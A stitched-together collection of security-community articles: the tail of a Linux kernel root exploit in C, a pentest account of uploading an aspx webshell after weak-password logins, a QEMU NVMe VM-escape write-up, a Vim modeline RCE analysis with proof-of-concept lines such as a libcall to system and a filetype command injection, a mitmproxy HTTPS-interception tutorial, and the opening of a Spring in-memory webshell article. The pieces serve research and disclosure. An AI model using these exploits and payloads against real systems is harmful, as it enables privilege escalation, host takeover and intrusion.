fake_tty_data[5] = NULL;
write(note_fd, fake_tty_data, tty_idx);
// exploit
puts("\033[34m\033[1m[*] Start prepare_kernel_cred(NULL)...\033[0m");
for (int i = 0; i < 0x80; i++)
ioctl(tty_fd[i], 233, 233);
puts("\033[32m\033[1m[*] Done.\033[0m");
/* ---- commit_creds(ROOT) ----*/getchar();
// get root cred back
read(note_fd, fake_tty_data, tty_idx);
// restore tty_struct data
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 6);
// set params in fake tty_struct
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = commit_creds;
fake_tty_data[5] = fake_tty_data[6];
fake_tty_data[6] = tty_data[6];
write(note_fd, fake_tty_data, tty_idx);
// exploit
puts("\033[34m\033[1m[*] Start commit_creds(ROOT)...\033[0m");
for (int i = 0; i < 0x80; i++)
ioctl(tty_fd[i], 233, 233);
puts("\033[32m\033[1m[*] Done.\033[0m");
getRootShell();
return 0;
}
运行即可提权到 root | 社区文章 |
近日闲来无事，在公司挖掘zjcert的漏洞，在fofa上苦苦尝试后台弱口令登录，试着试着，突然发现一个站点和之前测过的某个房屋支撑平台系统是由同一个公司提供的技术支持。用上次的弱口令试了一下，果然不行。又想起上次的系统不止开放在一个端口上，于是拿nmap稍微扫描了一下端口，在其他端口发现了很多站点。于是又是一段漫长的弱口令尝试阶段。由于都是同一家公司提供的技术支持，所以都是利用之前测的弱口令来尝试，终于摸到了一个后台。
这个后台说来话长，进入后台后找到了文件上传的点，苦苦fuzz了一个上午，在和好同事（不要啊！）杰哥的鏖战一个上午后，终于成功getshell。中午稍稍休息一下，下午正准备大干一场提升权限，我兴致勃勃连上我的马子，结果换来的却是疏远。再拿弱口令登录了一下后台，换来的也是登录失败。弱口令被紧急修复了，我的马也被杀了，所以这一部分就不能给兄弟们展示图片了。很喜欢让子弹飞里的一句话：敢杀我的马！换条路子继续日站！
前面说到这个ip的很多端口都是开放了http服务的，于是又是一段漫长的后台弱口令测试，还是找到了一处默认口令成功登录了后台
接下来就是对该后台的各个功能进行测试，最终在功能点系统设置->统计报表设计->国有企业资产资源排查处置汇总表处找到了上传功能点
抓个包看看
测试发现，通过修改name参数的shell.xlsx为shell.aspx后，前端返回的模版名称也会变为aspx后缀，但是并未被重命名为shell，依然为国有资产汇总导出模版
感觉是上传成功了，接下来找到路径就能连上我们的马子了，按照经验来说，一般通过下载功能都是通过get请求访问文件路径进行下载，就可以获得文件的路径，理论合理，实践开始。
但是抓包后发现，是通过rdid参数来控制下载文件的内容，细心的小伙伴也发现了刚刚上传文件时也存在这个rdid的参数，但是这里确实没有找到路径，只能换个方法。
就在我心灰意冷的时候，在系统配置的系统参数配置中找到了导出模版路径
兴冲冲的去访问/uploadfile/template/stat/国有资产汇总导出模版.aspx,结果却没有解析
这个目录应该就是没有解析aspx的文件，但是系统配置里可以修改系统导出模版路径，直接改为`/`根目录下，根目录下不可能不解析。修改为根目录后重新上传，果然解析了，上冰蝎
虽然没有取得管理员的权限，但是也就点到为止了，离开之前也把系统配置文件复原了 | 社区文章 |
**作者： 林以、高凝@蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/1KYTZynabBqzNjoJhe1bWw>**
在今年的Black Hat
Asia上，蚂蚁安全实验室共入选了5个议题和3个工具。本期分享的是蚂蚁光年实验室的议题《清道夫：误用“错误处理代码”导致的QEMU/KVM逃逸》。
本研究设计了针对QEMU Hypervisor系统中错误处理代码的导向性模糊测试技术（Directed Fuzzing），利⽤距离引导（Distance-guided）的策略使模糊测试（Fuzzing）遍历所有的错误处理代码。通过Fuzzing发现了⼀个存在于错误处理上下⽂的漏洞，该漏洞的直接后果会导致释放⼀块未初始化的内存，我们将其命名为“清道夫”（scavenger）。
由于该漏洞的类型并不常规，并且当前针对虚拟机逃逸的漏洞案例⾮常少，可供参考的材料⽋缺，导致该漏洞实际利⽤的难度极其⼤，我们很难在QEMU代码本身中找到有效的数据结构来完成漏洞利⽤所需的内存布局。由此，我们提出了⼀种新型的跨虚拟机内存域攻击，这是在本领域⾸次提出这个概念，根据⽤户天然地完全可控客户机内存的特性，利⽤客户机内存来构造任意读写的原语（primitive），从⽽辅助主机进程进⾏内存布局劫持控制流，最终完成漏洞利⽤实现虚拟机逃逸，从客户机端获取主机的完全控制权限。
# 01 背 景
## 1.1 QEMU
QEMU是一个通用的、开源的机器仿真器和虚拟机。它支持多种体系结构，如Ia32、x86-64、mips、 sparc、arm、risc-v等。此外，它还包括大量的仿真设备，包括NVMe控制器。同时，QEMU在安全研究中有着广泛的应用，如物联网固件仿真、用于黑盒Fuzzing的afl-QEMU、动态插桩平台等。随之而来的是，QEMU有很多攻击⾯，特别是设备仿真，因为他允许攻击者从客户机向主机写入数据。高质量的漏洞允许攻击者从VM中逃逸出来控制主机。
## 1.2 NVMe虚拟设备
NVMe⽤于提供虚拟固态硬盘（SSD）服务，为 PCIe SSD的来宾和主机之间的通信定义了⼀个优化的寄存器接⼝、CMD和功能集。NVMe对 SR-IOV等
I/O虚拟化体系结构提供了⾼效的⽀持，这使得它在SSD设备仿真中越来越流⾏。QEMU中也同样⽀持了对 NVMe设备的模拟。
# 02 针对错误处理代码的导向性Fuzzing
## 2.1 动机
我们的⼯作受启发于CVE-2020-25084漏洞，其原因是误⽤错误处理代码。该漏洞成因是出现在设置USB数据包时，设备没有检查
usb_packet_map函数的返回状态，⽽在该函数内部存在⼀段释放内存的错误处理代码。
假如未判断usb对象是否被释放，则在后续使⽤对象的过程中会导致uaf漏洞。QEMU官⽅的
patch是通过添加错误检查代码来修复此漏洞，以便在usb_packet_map函数申请失败时停⽌处理usb请求。此漏洞会导致拒绝服务并可能被逃逸利⽤。
## 2.2 设计
我们经过调查发现QEMU中的错误处理代码可以分为以下⼏类：调试报告和资源释放。其中调试报告代码只执⾏调试报告，不操作运⾏时资源，此类别不会对QEMU造成内存损坏的有害⾏为。⽽资源释放类别可以进⼀步分为释放内存或⽂件处理程序，以及释放锁类别。对于内存释放类别的错误处理代码，如果调⽤者不检查返回值/状态并滥⽤释放的内存，此⾏为可能会导致uaf漏洞。对于锁释放类别的错误处理代码，如果不谨慎使⽤则可能导致竞争条件漏洞。
我们观察到⼤多数的错误处理都是由goto跳转⽽来。因此，我们设计了如下针对错误处理代码的导向性 Fuzzing技术：
1.定位到代码中的goto语句，通过反向切⽚分析，得到goto的调⽤者和goto语句体；
2.我们使⽤AFLGo作为我们的Directed Fuzzing引擎，在步骤1收集的信息被⽤来作为反馈给AFLGo；
3.在预处理阶段，goto语句的代码体是我们模糊处理过程的⽬标点，⽤于计算种⼦距离。在 Fuzzing
loop过程中，我们基于距离引导策略来执⾏调度，并考虑到调⽤路径覆盖率，使 Fuzzing过程遍历所有的错误处理代码及其调⽤路径。
# 03 漏洞分析
通过上述Fuzzing过程我们发现了
Scavenger漏洞，我们利⽤该漏洞在2020天府杯原创漏洞演示赛上完成QEMU⾮默认设备逃逸。该漏洞的基本信息如下：
· 名称：清道夫(Scavenger)
·类型：NVMe设备的未初始化释放(Uninitialized Free)漏洞
· 影响版本：QEMU-5.1.0及以前版本
· 漏洞利⽤环境：主机Ubuntu20.04, 客户机Ubuntu20.04, 保护全开（NX，ASLR， PIE等）
此漏洞位于nvme_map_prp函数中，函数有两种初始化类型，类型1是iovec，类型2是
sglist，但是在错误处理中只针对sglist类型进⾏释放。这种错误处理代码的误使⽤导致 malloc/free对不⼀致。
例如， 该函数预期是初始化类型 2 sglist，如果它进⼊错误状态，它将转到unmap
label以释放qsg结构。但是实际上，我们可以控制程序让其⾸先初始化类型1
iovec，然后转到错误处理代码来释放qsg结构。此时qsg是处于未初始化状态，这会导致未初始化Free漏洞。
# 04 漏洞利用
## 4.1 思路分析
⾸先，让我们看看这个错误处理函数 qemu_sglist_destroy中发⽣了什么。如上所述，通过不⼀致的malloc/free对，这⾥的参数
qsg并没有初始化过。这个函数存在着⼀个危险的操作 -释放了这个未初始化结构中的第⼀个元素sg。虽然这是⼀个未初始化的变量，但其实它是可以被初始化的，因为攻击者可以控制执⾏环境并在相应的内存位置放置恶意构造的数据。这意味着，如果攻击者可以控制未初始化的内存，则可以达到⼀个任意地址Free的效果。
我们需要确认这个未初始化结构是否可以被攻击者控制。所以我们想知道qsg是从哪⾥来的？通过审计源代码并搜索找到nvme_map_prp函数的引⽤，我们发现有三个可以触发未初始化
Free漏洞的函数的代码路径。它们分别属于不同的函数调⽤栈：分别由 `nvme_dma_read_prp`，`nvme_dma_write_prp`以及
nvme_rw调⽤⾄漏洞函数。
在前两条路径中qsg属于栈上的未初始化变量，但是由于NVMe设备的功能相对⽐较简单，
我们在回溯函数调⽤链时，并没有在对应偏移的栈上找到⽤户可控的数据，也就意味着栈上的未初始化在这⾥是不可控的。
我们最终锁定在第三条路径，在该路径上qsg属于堆上的未初始化变量。其在nvme_init_sq中申请了全局堆变量io_req，其中qsg成员并未被初始化。然后在后续⾛到漏洞函数时会
使⽤该全局变量，触发路径为：`nvme_process_sq`->`nvme_io_cmd`->`nvme_rw`->`nvme_map_prp`。由于该变量是位于堆上，我们便可以使⽤堆⻛⽔之类的技术控制其内容的。
现在给定了堆未初始化Free漏洞，我们需要确定具体去释放什么对象。⼀个很直观的想法是将未初始化Free转换成UAF。这需要我们⾸先能找到⼀个⽤户控制的结构体。在使⽤之前事先填充好结构
- 将
qsg偏移对应的字段指向在堆中可控的⼀个对象。然后再利⽤漏洞触发未初始化Free，我们就能Free掉⼀个正在使⽤的对象，相当于得到了⼀个UAF。但事实上找到这样的原语并不容易。我们⾸先需要⼀个`N*0xa0`⼤⼩的结构，结构体的`0x40`偏移处有⼀个指针，同时该指针必须指向⼀个⽤户可控的对象。最重要的是，该对象的分配和使⽤之间应该有⼀个时间窗⼝，这样我们才能再对象被释放后再次去使⽤它。
经过多次尝试，我们并没有找到这样的原语，因为上述的限制太过于严苛。例如，我们发现 NVMe和其他传统设备以及⼀些复杂设备的结
构都不能满⾜这⼀要求。QEMU中的⼤多数结构不是⽤户可控的，可以说 QEMU的原语是相当有限的。
然⽽，我们在 Virtio gpu设备中发现了⼀个有趣的结构。该设备在 `virtio_gpu_create_mapping_iov`
函数中分配了⼀个地址映射表。这张表是由指针和⻓度组成的序列。该结构的⼤⼩可控，有指针成员，看起来是⼀个不错的结构。但不同的是，这⾥的指针指向guest空间，是由`dma_memory_map`映射⽽来的，其代表
的是将guest物理内存映射到host的虚拟地址，通过该地址QEMU可以直接在host进程中去操纵guest内存。
由Virtio-gpu的映射表所启发，或许我们不需要在主机进程上寻找⼀个⽤户可控的读写原语。对于QEMU进程来说，客户机内存和堆内存都是map出来的⼀段地址空间，⼀定程度上来说客户机内存也可以视作是⼀种堆内存。客户机内存既映射到QEMU主机进程，也由客户机VM所控制，我们可以认为它是主机和客户机之间的共享内存。
主机进程对该物理映射区域所做的任何更改都会作⽤于客户机内存中。同时对于客户机来说，其本身是可以在任意时间任意读写⾃身内存的。那么如果我们直接在客户机空间中释放⼀个伪造的堆块
会怎么样呢？
## 4.2 跨虚拟机内存域攻击
由此，我们提出了跨虚拟机内存域攻击 - 根据⽤户天然地完全可控客户机内存的特性，利⽤客户机内存来构造任意读写的原语（primitive）。具体步骤如下：
1.在本环境中客户机和主机均为Ubuntu，我们便只需在客户机空间正常malloc操作就能得到伪造堆块；
2.预先填充好堆内存，其中指针指向客户机空间的伪造堆块；
3.申请未初始化的req结构体；
4.触发未初始化Free，这样QEMU进程便会把客户机中的伪造堆块添加到主机堆空间的Freelist中了；
5.由于攻击者在客户机空间天然具有读写权限，此时对该伪造堆块操作就能达到UAF的效果。
## 4.3 完整利用链
现在已经将未初始化Free漏洞利⽤转换成 UAF的漏洞利⽤，剩下的就是常规UAF的利⽤思路了。⾸先，我们需要找到⼀个信息泄漏绕过
ASLR。然后我们需要操纵堆布局来劫持控制流。最后执⾏任意命令，在主机上执⾏代码。
1.堆喷
⾸先，我们需要做⼀些堆喷，以获得稳定的系统堆布局。我们频繁调⽤nvme_init_sq函数来喷 射⼤量的块来清空tcache
Freelist。通过这种⽅式，我们可以防⽌接下来释放的块合并到⼤块中，以得到更可靠的利⽤。
2.绕过ASLR
· Guest空间申请⼀个0x290的伪造堆块；
· Host空间申请Virtio-gpu的映射表，其中对应的指针指向伪造堆块；
· 释放映射表，在堆中留下预先设置好的状态；
· 申请io_req结构体，其中未初始化的域正好指向伪造堆块；
· 利⽤漏洞释放掉伪造堆块，主机将把它当作⼀个正常的堆块，并将其加⼊tcache bins中；
· 释放的伪造堆块中将留下主机的堆地址，在客户机中得到堆地址泄漏；
· 在主机中再次申请⼀个0x290的映射表，这块表将会被分配到客户机中（从 tcache bins头部取出）；
· 客户机再次读该堆块得到physical map地址泄漏；
· nvme_init_sq中存在分配timer的原语，我们重复上述步骤将QEMU timer分配到客户机空间中；
· 客户机读timer中的cb函数指针得到 QEMU binary地址泄漏。
3.劫持控制流
· 根据QEMU binary地址，计算得system函数偏移；
· 修改timer的cb函数指针为system地址，opaque 参数为“;gnome-calculator”；
· 运⾏定时器，控制RIP。
# 05 总结
先前的QEMU逃逸相⽐，Scavenger有三点不同之处。在攻击⾯上，先前的逃逸漏洞CVE-2020-14364位于USB模块，CVE-2019-14378和
CVE-2019-14835位于Slirp模块，CVE-2019-5049位于AMD ATIDXX64.DLL driver，⽽ Scavenger位于
NVMe存储设备。
在漏洞类型上，⼏乎所有已知的漏洞是由于缓冲区溢出或者UAF引起的，然⽽Scavenger是错误处理代码中的未初始化Free漏洞，这需要在漏洞利⽤⽅⾯有更多的直觉和技巧。在漏洞利⽤技术上，现有的利⽤技术⼏乎都是试图在主机进程上找到可控数据，并构造攻击原语，如任意读写。相反，我们利⽤客户机内存来辅助主机的内存布局，通过跨
hypervisor域操纵内存，为我们提供了 读/写原语。
跨虚拟机内存域攻击为我们提供了⼀个全新的攻击维度。这种跨虚拟机内存域攻击技术是通⽤的，只要攻击者有漏洞可以任意控制要Free的对象，那么攻击者就可以达到远程代码执⾏（RCE），实现虚拟机逃逸。在本环境中主机和客户机均为
Ubuntu，这为我们伪造堆块带来了便利，因为 Linux中的基本堆块没有加密。但是如果堆头是加密的，攻击难度就会更⼤⼀些，例如在
Windows中。我们相信这种攻击也会影响其他Hypervisor程序，如 VirtualBox、VMware。
* * * | 社区文章 |
**Author: fenix@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/952/>**
# Introduction
Vim is a terminal text editor, an extended version of vi with additional
features, including syntax highlighting, a comprehensive help system, native
scripting (vimscript), a visual mode for text selection, comparison of files
and so on. Vim and Emacs are the dominant text editors on Unix-like operating
systems, and have inspired the editor wars. Neovim is a reconstruction project
of Vim aiming to improve the user experience.
On June 4, 2019, an arbitrary code execution vulnerability has been discoverd
in Vim/neovim. The attacker can execute arbitrary commands on the target
machine by cheating the victim to open a specially crafted text file via vim
or neovim.
The vulnerability was caused by the implementation of the modeline. There have
been several other modeline-related vulnerabilities patched, such as
CVE-2002-1377, CVE-2016-1248.
Arminius has analyzed the CVE-2019-12735 very clearly. This article is a
summaryand a complete analysis of the multiple vulnerabilities discoverd in
the past(neovim is similar to the vim environment).
# About Modeline
Since all vulnerabilities are related to modeline, it is necessary to know
what modeline is.
There are four modes in vim: normal mode, insert mode, command mode, and
visual mode.
In normal mode, press the `:` to enter command mode. In command mode you can
execute some commands provided by vim or plugin, just like in a shell. These
commands include setting the environment, operating files, calling a function,
executing a shell command, and so on. For example, we set it not display the
line number:
If you have a lot of preferences, it will be extremely time-consuming to
manually set the environment each time. At this time, `.vimrc` comes in handy.
When vim is started, the .vimrc file in the current user root directory will
be loaded automatically.
The settings in .vimrc take effect for all files that you open, making it
difficult to personalize individual files, which is why the modeline comes
into being.
Vim's modeline makes it possible for you to perform file-level settings for
each file, which overrides the settings of the current users .vimrc. Vim turns
off modeline by default, and appending `set modeline` to the end of .vimrc can
open it.
If modeline is turned on, vim will parse the setting lines that matches the
format at the beginning and end of the file when opening it.
There are two forms of modelines. The first form:
The second form:
For security reasons, no other commands than "set" are supported(somebody
might create a Trojan text file with modelines).
In particular, the values of options such as 'foldexpr', 'formatexpr',
'includeexpr', 'indentexpr', 'statusline', 'foldtext' can be an expression. If
the option is set in modeline, the expression can be executed in the sanbox.
The sanbox is essentially a limitation on what the expression can do, for
example, you cannot execute shell commands, read and write files, or modify
the buffer in the sanbox:
The implementaion of the sanbox in vim is also very simple.
Sanbox checks function `check_secure()`:
Sanbox checks at the beginning of dangerous commands such as libcall, luaevel,
etc.. If calling is found in the sanbox, the funcion will return diretly.
Among the several RCE vulnerabilities discoverd in the past, CVE-2002-1377 and
CVE-2019-12735 are due to the fact that some commands do not check the
sandbox, resulting in abuse in the modeline mode for arbitrary command
execution.
# CVE-2002-1377
The arbitrary code execution vulnerability discoverd in 2002 affects vim
versions 6.0 and 6.1. It has been such a long time that the enviroment is
difficult to reproduce.
Proof of Concept:
/* vim:set foldmethod=expr: */
/* vim:set foldexpr=confirm(libcall("/lib/libc.so.6","system","/bin/ls"),"ms_sux"): */
Achieving arbitrary commands execution by using the libcall feature in
modelines.
Sanbox check has been added, and libcall cannot be called under modeline.
# CVE-2016-1248
Vim before patch 8.0.0056 does not properly validate values for the
'filetype', 'syntax' and 'keymap' options, which may result in the execution
of arbitrary code if a file with a specially crafted modeline is opened.
Clone the vim repository from github. Switch to the v8.0.055 branch, and then
compile and install. The content of .vimrc is as follows:
Proof of Concept：
00000000: 2f2f 2076 696d 3a20 7365 7420 6674 3d00 // vim: set ft=.
00000010: 2165 6368 6f5c 2070 776e 6564 203a 200a !echo\ pwned : .
Generally debugging with Verbose. set verbose to 20, it gives you output that
everything vim is doing. Look at the call chain：
Autocommand is a way to tell Vim to run certain commands when certain events
happen. Let's dive right into an example.
If we type `:set syntax=python` in the command mode, vim will look for
vmscript related to python syntax in the corresponding directory and load it.
If we set filetype or syntax in modeline, `au! FileType * exe "set syntax=" .
expand("<amatch>")` will be triggered to complete the above process. Remove
all autocommands associated with FileType firstly and then call exe (ie
execute) to execute `set syntax=filetype`. "exe" command is used to execute an
expression string, resulting in command injection because the filetype has not
been validated and sanitized.
Related code is in `/usr/local/share/vim/vim80/syntax/syntax.vim`.
Patch 8.0.0056 adds filetype check, only allowing valid characters in
'filetype', 'syntax' and 'keymap'.
# CVE-2019-12735
It has been disclosed recently, affecting Vim < 8.1.1365 and Neovim < 0.3.6.
Similar to the CVE-2002-1377, a new point used to bypass the sanbox has been
found. The definition of source command is as follows.
`:so! filepath` can read vim commands from filepath。
Construct the PoC: put the command to be executed in the text section, and use
`so! %` to load the current file.
[text]{white}{vi:|vim:|ex:}[white]{options}
Patch 8.1.1365: checks for the sandbox when sourcing a file.
# Conclusion
A arbitrary code execution zero-day vulnerability was found in notepad some
days ago. It seems vim doesn't like falling behind either.
Vulnerabilities are everywhere, and be cautious to open any unknown files.
# Reference
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://github.com/vim/vim/commit/d0b5138ba4bccff8a744c99836041ef6322ed39a
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 【技术分享】如何在macOS上监控一个APP的HTTPS流量
|
##### 译文声明
本文是翻译文章，文章来源：calebfenton.github.io
原文地址：<https://calebfenton.github.io/2017/05/27/monitoring-https-of-a-single-app-on-osx/>
译文仅供参考，具体内容表达以及含义原文为准。
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
翻译：[ForrestX386](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**0x00 前言**
当你需要逆向分析一个网络协议的时候，或者进行一些关于网络安全方面的行为的时候，你就需要去收集网络中传输的流量数据，通过收集网络中的传输数据信息，你可以去理解网络协议是怎么工作的，或许还能发现网络中传输的敏感信息。
如果网络协议传输的是明文信息，那很好办，直接用tcpdump
或者wireshark等类似的抓包软件就可以获取网络协议传输的信息内容，但是现在越来越多的协议使用了加密机制，比如HTTPS协议，这时候就需要MITM（中间人攻击）进行拦截加密协议。
本篇文章我会向大家介绍如何在 OSX上监控一个app的HTTPS流量以及实验中遇到的问题。
**0x01 正文**
拦截HTTPS流量的基本步骤
1）生成一个根证书
2）安装这个根证书
3）用proxychains 去代理指定的app
4）使用mitmproxy 去拦截流量
一些需要安装的软件
1、 安装并配置proxychains
brew install proxychains-ng
创建一个名为 proxychains.conf 的文件，然后加入以下内容：
strict_chain
quiet_mode
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
http 127.0.0.1 8080
http 127.0.0.1 8080 这行最重要，它的意思是说重定向app所有的流量到127.0.0.1:8080
（mitmproxy默认监控端口就是8080），然后我们就可以用mitmproxy在127.0.0.1:8080 监控所有的流量了。
2、使用pip安装并配置mitmproxy
pip install --upgrade pip
pip install mitmproxy
这两行命令就可以安装好mitmproxy
执行以下命令运行mitmproxy
./mitmproxy --host
接下来就是给系统安装根证书，默认情况下mitmproxy会自动生成一个根证书（mitm-ca-cert.pem），这个根证书位于~/.mitmproxy下面。
首先执行
open ~/.mitmproxy
然后，按下组合键 Command + Space ，然后输入Keychain Access， 回车
然后找到mitmproxy根证书，双击 ，或者将mitmproxy根证书拖拽到Keychain Access
窗口中上述执行OK，之后，你将会看到下图显示内容
如果你足够细心的话，你会发现删除安装好的mitmproxy 根证书前面有个 红叉 ，这表示系统并不信任这个根证书，
为了让系统信任这个根证书，你需要这样做：右键单击mitmproxy根证书，然后选择＂Get Info＂（如果你是英文界面的话），展开 ＂Trust＂将：
When using this certificate 修改为 Always Trust修改后的内容如下：
接下来， 你还需要执行以下命令，这样系统才能完全信任这个根证书
sudo security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain ~/.mitmproxy/mitmproxy-ca-cert.pem
OK，最后的mitmproxy证书信息界面如下：
看到了吧，mitmproxy 根证书前面的 红叉 提示不见了，说明系统完全信任了这个根证书
3、开始使用mitmproxy
其实github上mitmproxy的手册写的非常好，很详细，这里我就不过多解释了
现在我们已经做好了
1）配置proxychains 将app的http流量指向了127.0.0.1：8080
2）安装好了mitmproxy的根证书
3）mitmproxy运行OK
现在需要做的就是测试是否工作的OK
在另一个终端窗口执行：
proxychains4 -f proxychains.conf curl https://calebfenton.github.io/
现在切换到mitmproxy的运行窗口观察是否有流量被捕获到， 结果非常令人失望， 竟然没有捕获到任何流量，为毛？因为系统app
根本没鸟你，我查了一下proxychains 在github上的问题反馈列表，找到了原因 （和SIP有关）：
<https://github.com/rofl0r/proxychains-ng/issues/78> 你可以这样解决这个问题：
cp `which curl` .
proxychains4 -f proxychains.conf ./curl https://calebfenton.github.io/
或者你可以先安装一个wget，然后将curl替换为wget
brew install wget
proxychains4 -f proxychains.conf ./wget https://calebfenton.github.io/
注： wget不是系统app
一旦你观察到mitmproxy捕获到了通信数据，mitmproxy现在工作是正常的， 说明刚才新安装到系统的mitmproxy的根证书被系统信任了，
proxychains 也正确地Hook了网络通信数据，看起来都很OK，可能很多人都很满足现在的一切了。
但是当我试图用proxychains Hook python 代码所产生的的网络数据的时候， 问题出现了。
python 代码如下（保存为文件req.py）：
import requests
r = requests.get('https://calebfenton.github.io/')
print(r)
非常简单的一段代码（前提是你要安装了requests库），和上面curl起到的作用类似，但是执行proxychains4 python req.py
的时候出现了错误：
看到错误信息，我好像知道了问题的原因了，网络数据被Hook给了mitmproxy，mitmproxy给的证书requests根本不信任啊，因为python
代码根本不知道mitmproxy的根证书在哪儿啊，所以我们只要修改python代码，在get请求中指定mitmproxy的根证书路径即可
import requests
r = requests.get('https://calebfenton.github.io/', verify='/Users/caleb/.mitmproxy/mitmproxy-ca-cert.pem')
print(r)
使用verify参数指定mitmproxy根证书所在的路径
修改之后一切就Ok了，因为你告诉了requests去信任mitmproxy的证书。其实还有一个问题，如果你不能修改源代码，或者你用了不是requests库的其他模块呢？有个解决办法，对于requests库,如果你不能修改源码，设置一个环境变量REQUESTS_CA_BUNDLE指向/Users/caleb/.mitmproxy/mitmproxy-ca-cert.cer（mitmproxy根证书路径），然后在执行proxychains4
REQUESTS_CA_BUNDLE=/Users/caleb/.mitmproxy/mitmproxy-ca-cert.cer proxychains4 python req.py
举例栗子，以修改前的req.py为例（就是不加verify参数那个版本）
如果是其他非requests库, 可以试着设置一个环境变量 SSL_CERT_FILE
指向/Users/caleb/.mitmproxy/mitmproxy-ca-cert.cer （mitmproxy根证书路径）
**0x02. 总结**
本篇文章介绍一些我在mitm https
通信试验中遇到的一些小问题，我使用proxychains，是因为我不想用iptables将所有的http流量都重定向到一个监听端口，我只想重定向一个app的流量到指定监听端口。
最后，希望你的试验也能顺利完成。 | 社区文章 |
# 基于内存 Webshell 的无文件攻击技术研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者: LandGrey@观星实验室
## 一. 情况介绍
红队人员在面对蓝队的严防死守与”盯梢”式的防御策略时，传统需要文件落地的攻击技术往往会受到掣肘，基于 Web 的无文件攻击技术逐渐成为 Web
安全的一种新的研究趋势。
所以我们重点研究了基于 Java 的常用 Web 框架 — SpringMvc，并实现了利用多种不同的技术手段，往内存中注入恶意 Webshell
代码的无文件攻击技术。
## 二. 必要知识
在切入正题前，首先需要了解下 Spring 框架中的几个必要的名词术语。
### Bean
bean 是 Spring 框架的一个核心概念，它是构成应用程序的主干，并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。
通俗来讲：
* bean 是对象
* bean 被 IoC 容器管理
* Spring 应用主要是由一个个的 bean 构成的
### ApplicationContext
Spring 框架中，BeanFactory 接口是 Spring IoC容器 的实际代表者。
从下面的接口继承关系图中可以看出，ApplicationContext 接口继承了 BeanFactory
接口，并通过继承其他接口进一步扩展了基本容器的功能。
因此，org.springframework.context.ApplicationContext接口也代表了 IoC容器
，它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。
IoC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示。
另外，如下图，还有一堆各式各样的 context 继承了 ApplicationContext 接口，太繁杂不展开描述，仅供参考。
### ContextLoaderListener 与 DispatcherServlet
下面是一个典型 Spring 应用的 web.xml 配置示例：
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<display-name>HelloSpringMVC</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
在正式了解上面的配置前，先介绍下关于 Root Context 和 Child Context 的重要概念：
* Spring 应用中可以同时有多个 Context，其中只有一个 Root Context，剩下的全是 Child Context
* 所有Child Context都可以访问在 Root Context中定义的 bean，但是Root Context无法访问Child Context中定义的 bean
* 所有的Context在创建后，都会被作为一个属性添加到了 ServletContext中
**ContextLoaderListener**
ContextLoaderListener 主要被用来初始化全局唯一的Root Context，即 Root
WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的
IoC 容器，供其他 Child Context 获取并使用容器中的 bean。
回到 web.xml 中，其相关配置如下：
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
依照规范，当没有显式配置 ContextLoaderListener 的 contextConfigLocation 时，程序会自动寻找 /WEB-INF/applicationContext.xml，作为配置文件，所以其实上面的 <context-param> 标签对其实完全可以去掉。
**DispatcherServlet**
DispatcherServlet 的主要作用是处理传入的web请求，根据配置的 URL pattern，将请求分发给正确的 Controller 和
View。DispatcherServlet 初始化完成后，会创建一个普通的 Child Context 实例。
